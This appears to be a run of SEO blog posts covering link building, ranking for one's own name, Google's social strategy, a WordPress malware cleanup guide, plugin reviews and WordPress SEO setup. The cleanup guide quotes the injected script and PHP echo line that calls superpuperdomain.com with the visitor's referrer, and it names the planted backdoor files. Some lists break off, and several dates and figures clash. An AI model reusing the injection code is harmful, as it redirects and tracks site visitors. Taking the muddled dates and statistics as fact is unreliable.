It had been a long time since I last got so furies as I did with this comment!

So what does he mean by that? That link builder is a ‘worse category’ that an all round SEO person?! I don’t think so! I do all, on-page and off-page seo, and to be honest I have a full respect to great Link Builders. It is sooo difficult to find a good one! Additionally, having someone as an Account Manager (and what does “Account Manager mean? everything and nothing!) that actually have DONE some link building in the past and KNOWS how to do it and how DIFFICULT it can be, it is a big advantage, as we can actually have a decent conversation about link building itself!

This subject is really personal to me, I do lots of link building for my clients and It is great to see how strongly some of those links influence rankings. For me personally, link building is all about competition and I love to win in those races:) lol. Obviously, I do not win every time, but I LOVE when I do, when my clients reach top of the rankings! What a joy!:)

So what really makes a link builder, a GREAT Link Builder? There were so many articles and discussions about it (on Sphinn and SEO moz to name a couple), and I completely agreed with them. But I also think that there are 2 important ingredients that can make you a great link builder:

OK, so that’s it. I am afraid I’ve shown a little too much passion in this post but I really had to get it off my chest. I feel better now:) thank you!

Today, I have a very narcissist subject to cover, namely ‘Optimizing for your own name in SERP‘. As an SEO Consultant, I really want to own all 10 listings on Google when someone types my name. Its a matter of pride:) Unfortunately, my name is quite popular in Poland, and surprisingly a few of them are quite famous – a painter, musician and also a famous doctor. My problem is also misspelling, very rarely English native speakers spell my name correctly so I had just given up and shortened it a bit and that’s how it became ‘Mags’, but lets get back to the subject….

So, say I would like to own all 10 listing in Google when someone types my name. There are a few websites, Google favours when searching for people’s profiles. If you optimise your profiles on those sites well and, additionally, build a few good links, pointing to those sites, you have huge chances to own that space! So let’s start…

LinkedIn - obviously the most popular professional business network, I joined in 2006, so I was lucky enough to get my full name in URL without any additional parameters (the URL is generated automatically so you do not have any control over it). I also link to that profile from a few other sites (like this blog for example).

About.me – this website getting on popularity and I am an absolute fan of it! It’s like your digital business card, a place where you can introduce yourself and list all services your profile can be found on. I personally, treat it as an index page of all my online properties (maybe not all, but at least those which I want others or potential clients to know about). The good thing about it is the fact that you can customise your URL, so you can use your keywords in URL. If you decide to use some keywords like ‘seo specialist’, it however lower your chances to rank high for your name, so some inbound links to that profile would be necessary to rank higher.

Google Profile- obviously! Just add your different name variations to the ‘Other names’ section (go to ‘edit your profile’ and this is the last field on that page.

Facebook - again, URL is pretty important, your name should definitely be within it, so even if the URL is taken add some additional parameters or keywords after your name so you can still rank. Without back-links to a different URL, you will not have chances to rank in Google for you name.

Ok, so we have now 4 services, 6 more to go…

Quora – it is a kind of network. It is more like a global forum where questions and answers are created, edited, and organized by everyone who uses that service. The most important thing is to have each question page become the best possible resource for someone who wants to know about the question. To join, you have to create your profile and if you are active enough and have linking to you followers, the profile will start ranking in Google for your own name,

FindYourPlus.com- the website is nothing more like a GooglePlus directory. I like the idea. It is in a beta version only now, but their claim to be already listing almost 6.5 milion Google Plus profiles, so just add your Google Profile’s number and you are in.

Your Own Blog- if you are a blog owner, you obviously want your website to be recognised and connected to you. If your web domain is different from your name, then it is necessary to build a few strong links to your homepage with your name as an anchor text. Blog comments are very helpful in this case, but do not spam! I am an active member of SEOmoz where I comment when it can add some value for other users. Those links are nofollow but it’s still pretty beneficial. I was also lucky enough (a little bragging here) that my name was mentioned in a few articles on Search Engine Land and SEJ as well as SE Roundtable and the authors linked from my name to my blog. My only advice, if you are active within your community, links will come naturally.

There are also a few other services which can help you to claim the space.

and many, many others

So see you on Google! Good luck!:)

What actually is behind all that talk (or PR talk)? What’s the real agenda? It’s obviously all about knowing what we do/ like/want in order to target us and sell to us in more sophisticated way. It is all about money nothing else (I think this comes as a surprise to no one)

Since Facebook launch more and more people started browsing online while still logged into it. Facebook noticed that phenomenon straight away and introduced many different plugins for external sites and developers to positively influence that trend even more. Additionally, Facebook cleverly asked for people’s details, so at this stage they already knew everything about us; from our family connections, through friends, our interest, travel preference, what we eat/buy and even who we sleep with! Based on that Facebook is able to offer the most intelligent marketing tools to publishers that created the most sophisticated and tailored adverts ever available online.

That, in the same time, was Google’s biggest pain. Trying hard as they might, Google was not able to achieve anything like it! Google admitted in March 2010, that they were able to control (they actually said ‘personalize’) only 20% of searches (that included both people logged in and ‘cookie’ saved in the web browser), so at this stage Google was able to gather data of less than 20% of all people that actually spend time on their own site? That’s pretty embarrassing, isn’t it?

That number was definitely not sufficient for Google, especially that just a month earlier, in February 2010, Nielsen’s survey revealed that in January, the amount of time an average person spent on Facebook jumped to more than seven hours a day. That’s 6 times more than on Google! What is more, for Google that number was going in completely the opposite direction!

To make it even more painful (for Google of course), in February 2011, Bing and Facebook merged their efforts by bringing in more data from Facebook to make its search results more social.

So what does Google do??

In May 2009, Google signs a lucrative contract with Twitter to get more real-life results to SERP, and just six months later, launches Wave- a part email, part Twitter and part instant messaging tool.

In October 2011, Schmidt admits that to really be social, search needs to be personalized to each individual’s own social stream he adds:

we are quite convinced that produces a better search result for people who choose to give us that information. We want people to be more logged into Google.

According to TechCruch,

he is also asked what can Google do if it does not have a direct relationship with all of the major social networks (meaning Facebook)? How then does it capture the social signals? Schmidt is careful not to answer that one too directly other than to say, “There are ways we can do that.

I think at that point, they already know none of the above actions will bring them the desired results, therefore, in August 2010 Google Wave is taken down and contract with Twitter is not renewed in June this year.

In the meantime, big changes happen at the top of Google’s managing board. In April this year, Larry Page replaces Eric Smidt as the CEO of the company, which is seen, by many, as a symbol of freshness, symbol of faster decisions.

A few months later Google introduces +1 button as a reply to Facebook’s “like” which sends first signals of Google’s plan to launch social platform (June 2011). Google cleverly finds a missing link- a lack of ability to merge one’s private and business connections without exposing oneself too much to any of those groups. That is achieved by introducing ‘Circles’.

It’s the end of August 2011 now. Google+ is the fastest growing social network in terms of user signups, reaching an impressive 25 million users in less than 1 month after its launch and the number is still growing. Google already started merging “Plusers” activities with SEPR.

Will it become as big as Facebook and be able to achieve similar results? Let’s see in a few months. I am sure however that it is just the beginning of Google’s Social competition. Here is one of the first Google+ infographics based on its users’ demographic.

Generally, the JavaScript
'<script language="javascript" src="http://superpuperdomain.com/count.php?ref...></script>';
redirects visitors that were going to the WordPress site to fake search engines full of ads. To check if you have it (except the obvious- redirection:), try to find a similar chunk of code on your homepage (it should appear just at the end of the html code, behind the closing body tag:

'<script language="javascript" SRC="http://superpuperdomain.com/count.php?ref=http%3A%2F%2Fsite.com%2Fdif%2F"></script>';

It is caused by a security vulnerability in timthumb.php (also known as tumb.php), which is is a free PHP script that resizes images used by many WP themes developers. Many great WP themes use that script including Elegant Themes, so if you haven’t updated your theme during the last 5 days, your website is probably infected by it! Here is a step by step solution…

How to get rid of this superpuperdomain.com’s Javascirpt Malware:

• Go to your index.php and delete the following code:

echo '<script type="text/javascript" language="javascript" src="http://superpuperdomain.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']) .'"></script>';

remember about leaving ?> at the end of the code!

• Search for the following files on your server and delete them:

/wp-admin/js/config.php
/wp-admin/common.php
/wp-admin/udp.php
/wp-content/udp.php

Those files are added by hackers and are a part of the phpRemoteView hack, but just in case back up those files (do not open them!!!).

• Update the Timthumb.php

As the creator of this plugin has been informed about this issue a few days ago, the latest corrected versionis already has been created and is available to download here:  http://code.google.com/p/timthumb/ so please upload it to your server to replace to old version of Timthumb.php with the new file.

• Make sure that your file permissions are correctly set.

According to WP – Security Scan (which I personally use on a few sites), I set the following permissions:

but I also recommend this WordPress article on that

• At the end, you can also block the http://superpuperdomain.com’s IP addresses in your htttaccess file add so additional rules to the httaccess file itself.

I hope that all of that help you, but let me know if you come across any more problems with that Malware.

WordPress Custom Sidebar
This is the basic step to make your sidebar smashing! The plug-in allows you to customise or tailor your sidebar depending where you are on the site. It not only allows you to choose between different widgets to use on different pages or posts, but you also have flexibility on a URL level. It means that you can choose on which posts/ pages/ categories and tabs you can use that specific widget. It really helps you to change the theme to make it look really original. The WordPress Custom Sidebar is the starting point for the other two plugins.

Here is an example how the the wordpress sidebar was customized for WP Geo widget:

WP Geo
As the website I was creating was travel related, the blog owner wanted to have a map with locations of the spot described in the article/ post. Again, there are many Google maps plug-ins available and it takes awhile to go through the most popular in a single post. Many of them are just amazing and work really well. Unfortunately, they usually give you a possibility to add your map with location to your post or page, not to the wordpress sidebar. But there is one plugin that does the job! Its called WP Geo by Ben Huson. Play a little with the settings and you will get a beautifully working map on the sidebar sections. In order to do so, download and install the plugin, go to its settings section, change the “Show Post Map“ option to Manual. In this way, the map will not appear within the post/ page itself but just within the sidebar. It’s really a great tool. You can find all its features on WP Geo site

and another example how WP Geo widget can be used:

WP Custom Field Search
WP Custom Field Search allows you to create a sophisticated search engine based on tags or categories you use. It accepts multiple form inputs to be configured to search different aspects of a post. If it is configured properly, it can become a very powerful search engine on your site and it’s just an ideal tool for travel or real estates sites! Again, the WP Custom Field Search gives you an enormous flexibility as it can be used everywhere within your website as it can be added to the code manually or can be added to the wordpress sidebar by using its widget in the widget section.

If you install some of those plugins and have any problems and questions, feel free to contact me by leaving a comment below this post. I will be more than happy to help.

At the moment the feature will be seen only on Google.com, although Google has already announced on their Official Blog that this will be rolled out across other markets and will also start appearing across other Google products. If you live outside the US, you can also take part in the experiment by joining it on their +1 Experiment site.

Additionally, very soon, advertisers and website owners will be able to install the button on their site. The button is not available yet, but you can already apply for it here: https://services.google.com/fb/forms/plusonesignup/

So what are the reasons behind it? I could see at least two. By adding this button Google wants to promote the best quality and most useful websites/ blogs/ articles etc (so again it is all about the quality of the website’s content), as well as add another social aspect to their search result page.

In a perfect world, the more accurate content the more +1 it gets, but what about the spammers? Google thought about that too. Google will identify the most useful recommendation by analysing your contacts or even signals from Twitter to make sure that the recommendations are as much relevant as possible.

The question is will it work? We already have Facebook’s “like” button. Do we really need another one? Do you really want to see what your friends or colleagues like on your search result pages? Would I like the same hotel in Rome as my mum does?:) People are different, have different taste, they like different things. Therefore it could become pretty annoying at one point. I am absolutely not negative about this new feature as it will probably become a revolutionary asset in searches I am only not sure whether it will be a great solution for everyone/ every search.

Anyway, have a happy International Women’s Day. Relax, It is good to be a woman:)

Assuming you’re past installing wordpress on your server, here are the essential steps you should take. And believe me, it’s much easier to make these amendments on a “freshly” created blog rather a website with 50 blog posts published already!:

1. Add noindex, nofollow
As you are planning to do many changes to optimize your WordPress blog it’s useful to temporarily block Google from visiting it until it’s ready. To do this add just before header ending tag . Better still, (and this is what I strongly recommend) use it within Robots.txt. I will not write how to do it step by step as it has been nicely discussed on this site: http://www.robotstxt.org/meta.html

2. Create a super searchable title and description.
In order to do that, at least go to Google Keywords tool and find out what people actually search that’s relevant to the subject of your blog and use those keywords for your main Blog Title and blog description.

3. Front page
Decides what you actually want to appear on your homepage. Do you want your home page be a static welcome page or a list of your latest posts from the blog? I would personally vote for the option 2 as Google prefers pages that shows fresh content. If you go for the second solution, you do not have to do anything as this is a default option, but if you want to change it, just go to the reading section in your WordPress settings and choose what does your front page should display.

4. Permalinks
No one likes those ugly URLs with ? and numbers which look something like that: http://yourblog.com/?p=123 , In order to get read of them and have nicely search engine-optimised links (that are actually both Google and user friendly), go to your blog dashboard, then to settings and click on Permalinks. Then choose the Custom Option and add this: /%category%/%postname%/ (as per image below).

This way the names of your posts and categories will be used in URLs. Job done! I also very often recommend to get rid off this ugly “category based”, but you can read more about it in my previous Remove ‘Category Base’ From Permalinks post.

5. SEO plugins packages.
There are many of them: Headspace 2- pretty useful, it plays with your title tag and Meta Title tag (if you dont know the difference you can learn more about on this page: http://www.webmarketingnow.com/tips/meta-title.html) Then there is also the famous All in One SEO and latest WordPress SEO plugin by Joast from Yoast.com. Unfortunately, some of those free plugins automatically add links somewhere within your page to the plugin author page (for examples: when you check your generated sitemap with a help of those plugins you can actually see a link to author plugin page). I generally feel that it is slightly not fair and I would prefer the ability to choose where I would actually like the “thank you” link to appear on my own blog. So that maybe could be a note to the authors…

6. Generate Sitemaps
(Do it only if you didn’t installed WP SEO plugin as this option is included within it). There is a really good plugin that not only generate XML sitemaps but also ping changes on your blog to Google and other search engines. its called Google XML Sitemap (although it work with also with Bing, Ask.com etc.).

7. Create Google Analytics and Google Webmaster Tools for the blog.
There is also a wordpress plugin for that, but, come on, you can do it on your own!:

8. Remember point 1?
You blocked Google from visiting your blog. You blocked the blog! What were you thinking?:) OK, it WAS important at that point:) Now though, you have to delete both Noidex, nofollow so your WP blog can be visible to search engines.

9. Delete the Hello World post!
so you are ready to say “Hello World” with your own words:) viola! Job done!

Remember, the more plugins you have the slower your blog might be, so if there are things that you can do yourself without installing a plugin, just do it (like for example Google Analytics- you do not need a plugin for that!)

Generally, I usually suggest is to test plugins as you learn a lot from that exercise (again be careful as some of them are not compatible with others, so always check it!). However if you test one and decide not to use it, deactivate and delete it to keep your file structure clean and neat! Anyway, I am going to write about it in more details in my next article in a few days time!